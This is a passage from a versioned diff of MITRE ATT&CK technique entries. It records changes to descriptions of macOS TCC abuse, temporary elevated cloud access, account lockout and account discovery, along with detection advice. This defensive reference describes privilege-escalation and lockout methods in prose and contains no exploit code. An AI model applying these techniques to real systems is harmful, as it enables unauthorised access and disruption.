Regu\u0142a @_r3ggi", + "Csaba Fitzl @theevilbit of Kandji" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-16 16:54:56.714000+00:00\", \"old_value\": \"2024-04-17 00:02:12.021000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to grant malicious executables elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).\\n\\nWhen an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), and an overwrites file (if connected to an MDM) for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC)\\n\\nAdversaries may access restricted data or services protected by TCC through abusing applications previously granted permissions through [Process Injection](https://attack.mitre.org/techniques/T1055) or executing a malicious binary using another application. For example, adversaries can use Finder, a macOS native app with FDA permissions, to execute a malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002). When executing under the Finder App, the malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002) inherits access to all files on the system without requiring a user prompt. When System Integrity Protection (SIP) is disabled, TCC protections are also disabled. For a system without SIP enabled, adversaries can manipulate the TCC database to add permissions to their malicious executable through loading an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation: TCC macOS bypass)(Citation: TCC Database)\\n\\n\", \"old_value\": \"Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to execute malicious applications with elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).\\n\\nWhen an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC)\\n\\nAdversaries may manipulate the TCC database or otherwise abuse the TCC service to execute malicious content. This can be done in various ways, including using privileged system applications to execute malicious payloads or manipulating the database to grant their application TCC permissions. \\n\\nFor example, adversaries can use Finder, which has FDA permissions by default, to execute malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002) while preventing a user prompt. For a system without System Integrity Protection (SIP) enabled, adversaries have also manipulated the operating system to load an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation: TCC macOS bypass)(Citation: TCC Database)\\n\\nAdversaries may also opt to instead inject code (e.g., [Process Injection](https://attack.mitre.org/techniques/T1055)) into targeted applications with the desired TCC permissions.\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +1,6 @@\\n-Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to execute malicious applications with elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).\\n+Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to grant malicious executables elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).\\n \\n-When an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC)\\n+When an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), and an overwrites file (if connected to an MDM) for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC)\\n \\n-Adversaries may manipulate the TCC database or otherwise abuse the TCC service to execute malicious content. This can be done in various ways, including using privileged system applications to execute malicious payloads or manipulating the database to grant their application TCC permissions. \\n+Adversaries may access restricted data or services protected by TCC through abusing applications previously granted permissions through [Process Injection](https://attack.mitre.org/techniques/T1055) or executing a malicious binary using another application. For example, adversaries can use Finder, a macOS native app with FDA permissions, to execute a malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002). When executing under the Finder App, the malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002) inherits access to all files on the system without requiring a user prompt. When System Integrity Protection (SIP) is disabled, TCC protections are also disabled. For a system without SIP enabled, adversaries can manipulate the TCC database to add permissions to their malicious executable through loading an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation: TCC macOS bypass)(Citation: TCC Database)\\n \\n-For example, adversaries can use Finder, which has FDA permissions by default, to execute malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002) while preventing a user prompt. For a system without System Integrity Protection (SIP) enabled, adversaries have also manipulated the operating system to load an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation: TCC macOS bypass)(Citation: TCC Database)\\n-\\n-Adversaries may also opt to instead inject code (e.g., [Process Injection](https://attack.mitre.org/techniques/T1055)) into targeted applications with the desired TCC permissions.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][1]\": \"Wojciech Regu\\u0142a @_r3ggi\", \"root['x_mitre_contributors'][2]\": \"Csaba Fitzl @theevilbit of Kandji\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries can manipulate or abuse the Transparency, Consent1Adversaries can manipulate or abuse the Transparency, Consen
>t, & Control (TCC) service or database to execute malicious >t, & Control (TCC) service or database to grant malicious ex
>applications with elevated permissions. TCC is a Privacy & S>ecutables elevated permissions. TCC is a Privacy & Security 
>ecurity macOS control mechanism used to determine if the run>macOS control mechanism used to determine if the running pro
>ning process has permission to access the data or services p>cess has permission to access the data or services protected
>rotected by TCC, such as screen sharing, camera, microphone,> by TCC, such as screen sharing, camera, microphone, or Full
> or Full Disk Access (FDA).  When an application requests to> Disk Access (FDA).  When an application requests to access 
> access data or a service protected by TCC, the TCC daemon (>data or a service protected by TCC, the TCC daemon (`tccd`) 
>`tccd`) checks the TCC database, located at `/Library/Applic>checks the TCC database, located at `/Library/Application Su
>ation Support/com.apple.TCC/TCC.db` (and `~/` equivalent), f>pport/com.apple.TCC/TCC.db` (and `~/` equivalent), and an ov
>or existing permissions. If permissions do not exist, then t>erwrites file (if connected to an MDM) for existing permissi
>he user is prompted to grant permission. Once permissions ar>ons. If permissions do not exist, then the user is prompted 
>e granted, the database stores the application's permissions>to grant permission. Once permissions are granted, the datab
> and will not prompt the user again unless reset. For exampl>ase stores the application's permissions and will not prompt
>e, when a web browser requests permissions to the user's web> the user again unless reset. For example, when a web browse
>cam, once granted the web browser may not explicitly prompt >r requests permissions to the user's webcam, once granted th
>the user again.(Citation: welivesecurity TCC)  Adversaries m>e web browser may not explicitly prompt the user again.(Cita
>ay manipulate the TCC database or otherwise abuse the TCC se>tion: welivesecurity TCC)  Adversaries may access restricted
>rvice to execute malicious content. This can be done in vari> data or services protected by TCC through abusing applicati
>ous ways, including using privileged system applications to >ons previously granted permissions through [Process Injectio
>execute malicious payloads or manipulating the database to g>n](https://attack.mitre.org/techniques/T1055) or executing a
>rant their application TCC permissions.   For example, adver> malicious binary using another application. For example, ad
>saries can use Finder, which has FDA permissions by default,>versaries can use Finder, a macOS native app with FDA permis
> to execute malicious [AppleScript](https://attack.mitre.org>sions, to execute a malicious [AppleScript](https://attack.m
>/techniques/T1059/002) while preventing a user prompt. For a>itre.org/techniques/T1059/002). When executing under the Fin
> system without System Integrity Protection (SIP) enabled, a>der App, the malicious [AppleScript](https://attack.mitre.or
>dversaries have also manipulated the operating system to loa>g/techniques/T1059/002) inherits access to all files on the 
>d an adversary controlled TCC database using environment var>system without requiring a user prompt. When System Integrit
>iables and [Launchctl](https://attack.mitre.org/techniques/T>y Protection (SIP) is disabled, TCC protections are also dis
>1569/001).(Citation: TCC macOS bypass)(Citation: TCC Databas>abled. For a system without SIP enabled, adversaries can man
>e)  Adversaries may also opt to instead inject code (e.g., [>ipulate the TCC database to add permissions to their malicio
>Process Injection](https://attack.mitre.org/techniques/T1055>us executable through loading an adversary controlled TCC da
>)) into targeted applications with the desired TCC permissio>tabase using environment variables and [Launchctl](https://a
>ns. >ttack.mitre.org/techniques/T1569/001).(Citation: TCC macOS b
 >ypass)(Citation: TCC Database)  
", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [ + "M1051: Update Software" + ] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6fa224c7-5091-4595-bf15-3fc9fe2f2c7c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-07-10 16:37:15.672000+00:00", + "modified": "2024-10-15 16:07:49.519000+00:00", + "name": "Temporary Elevated Cloud Access", + "description": "Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own. \n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation: Azure Just in Time Access 2023)\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account, while service accounts with domain-wide delegation permission are permitted to impersonate Google Workspace accounts.(Citation: Google Cloud Service Account Authentication Roles)(Citation: Hunters Domain Wide Delegation Google Workspace 2023)(Citation: Google Cloud Just in Time Access 2023)(Citation: Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023) In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation: Microsoft Impersonation and EWS in Exchange) \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1548/005", + "external_id": "T1548.005" + }, + { + "source_name": "AWS PassRole", + "description": "AWS. (n.d.). Granting a user permissions to pass a role to an AWS service. Retrieved July 10, 2023.", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html" + }, + { + "source_name": "CrowdStrike StellarParticle January 2022", + "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.", + "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/" + }, + { + "source_name": "Google Cloud Just in Time Access 2023", + "description": "Google Cloud. (n.d.). Manage just-in-time privileged access to projects. Retrieved September 21, 2023.", + "url": "https://cloud.google.com/architecture/manage-just-in-time-privileged-access-to-project" + }, + { + "source_name": "Google Cloud Service Account Authentication Roles", + "description": "Google Cloud. (n.d.). Roles for service account authentication. Retrieved July 10, 2023.", + "url": "https://cloud.google.com/iam/docs/service-account-permissions" + }, + { + "source_name": "Microsoft Impersonation and EWS in Exchange", + "description": "Microsoft. (2022, September 13). Impersonation and EWS in Exchange. Retrieved July 10, 2023.", + "url": "https://learn.microsoft.com/en-us/exchange/client-developer/exchange-web-services/impersonation-and-ews-in-exchange" + }, + { + "source_name": "Azure Just in Time Access 2023", + "description": "Microsoft. (2023, August 29). Configure and approve just-in-time access for Azure Managed Applications. Retrieved September 21, 2023.", + "url": "https://learn.microsoft.com/en-us/azure/azure-resource-manager/managed-applications/approve-just-in-time-access" + }, + { + "source_name": "Rhino Security Labs AWS Privilege Escalation", + "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.", + "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/" + }, + { + "source_name": "Rhino Google Cloud Privilege Escalation", + "description": "Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud Platform \u2013 Part 1 (IAM). Retrieved September 21, 2023.", + "url": "https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/" + }, + { + "source_name": "Hunters Domain Wide Delegation Google Workspace 2023", + "description": "Yonatan Khanashvilli. (2023, November 28). DeleFriend: Severe design flaw in Domain Wide Delegation could leave Google Workspace vulnerable for takeover. Retrieved January 16, 2024.", + "url": "https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover" + }, + { + "source_name": "Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023", + "description": "Zohar Zigdon. (2023, November 30). Exploring a Critical Risk in Google Workspace's Domain-Wide Delegation Feature. Retrieved January 16, 2024.", + "url": "https://unit42.paloaltonetworks.com/critical-risk-in-google-workspace-delegation-feature/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Arad Inbar, Fidelis Security" + ], + "x_mitre_data_sources": [ + "User Account: User Account Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:07:49.519000+00:00\", \"old_value\": \"2024-03-28 15:30:09.313000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}, \"root['x_mitre_platforms'][2]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Office 365\"}, \"root['x_mitre_platforms'][1]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Azure AD\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][3]\": \"Google Workspace\"}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-09 18:48:31.906000+00:00", + "modified": "2024-10-15 15:35:13.577000+00:00", + "name": "Account Access Removal", + "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the passwd utility may be used to change passwords. Accounts could also be disabled by Group Policy. \n\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1531", + "external_id": "T1531" + }, + { + "source_name": "CarbonBlack LockerGoga 2019", + "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.", + "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/" + }, + { + "source_name": "Unit42 LockerGoga 2019", + "description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.", + "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Hubert Mank", + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "Active Directory: Active Directory Object Modification", + "User Account: User Account Modification", + "User Account: User Account Deletion" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\n\n* Event ID 4723 - An attempt was made to change an account's password\n* Event ID 4724 - An attempt was made to reset an account's password\n* Event ID 4726 - A user account was deleted\n* Event ID 4740 - A user account was locked out\n\nAlerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "SaaS", + "IaaS", + "Office Suite" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:35:13.577000+00:00\", \"old_value\": \"2023-03-22 20:39:15.680000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][1]\": \"Arun Seelagan, CISA\", \"root['x_mitre_platforms'][4]\": \"IaaS\", \"root['x_mitre_platforms'][5]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][3]\": \"Office 365\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Deletion)", + "DS0002: User Account (User Account Modification)", + "DS0026: Active Directory (Active Directory Object Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:06.988000+00:00", + "modified": "2024-10-15 15:35:28.784000+00:00", + "name": "Account Discovery", + "description": "Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\n\nAdversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.\n\nFor examples, cloud environments typically provide easily accessible interfaces to obtain user lists.(Citation: AWS List Users)(Citation: Google Cloud - IAM Servie Accounts List API) On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1087", + "external_id": "T1087" + }, + { + "source_name": "AWS List Users", + "description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020.", + "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html" + }, + { + "source_name": "Google Cloud - IAM Servie Accounts List API", + "description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.", + "url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list" + }, + { + "source_name": "Elastic - Koadiac Detection with EQL", + "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.", + "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Daniel Stepanic, Elastic", + "Microsoft Threat Intelligence Center (MSTIC)", + "Travis Smith, Tripwire" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Access" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "2.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:35:28.784000+00:00\", \"old_value\": \"2024-01-12 23:36:56.245000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.5\", \"old_value\": \"2.4\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][5]\": \"Office Suite\", \"root['x_mitre_platforms'][6]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\", \"root['x_mitre_platforms'][7]\": \"Google Workspace\"}}", + "previous_version": "2.4", + "version_change": "2.4 \u2192 2.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 21:08:36.570000+00:00", + "modified": "2024-10-15 15:51:18.808000+00:00", + "name": "Cloud Account", + "description": "Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, gcloud iam service-accounts list and gcloud projects get-iam-policy may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1087/004", + "external_id": "T1087.004" + }, + { + "source_name": "AWS List Roles", + "description": "Amazon. (n.d.). List Roles. Retrieved August 11, 2020.", + "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html" + }, + { + "source_name": "AWS List Users", + "description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020.", + "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html" + }, + { + "source_name": "Black Hills Red Teaming MS AD Azure, 2018", + "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.", + "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/" + }, + { + "source_name": "Google Cloud - IAM Servie Accounts List API", + "description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.", + "url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list" + }, + { + "source_name": "Microsoft AZ CLI", + "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest" + }, + { + "source_name": "Microsoft msolrolemember", + "description": "Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0" + }, + { + "source_name": "GitHub Raindance", + "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.", + "url": "https://github.com/True-Demon/raindance" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_data_sources": [ + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "IaaS", + 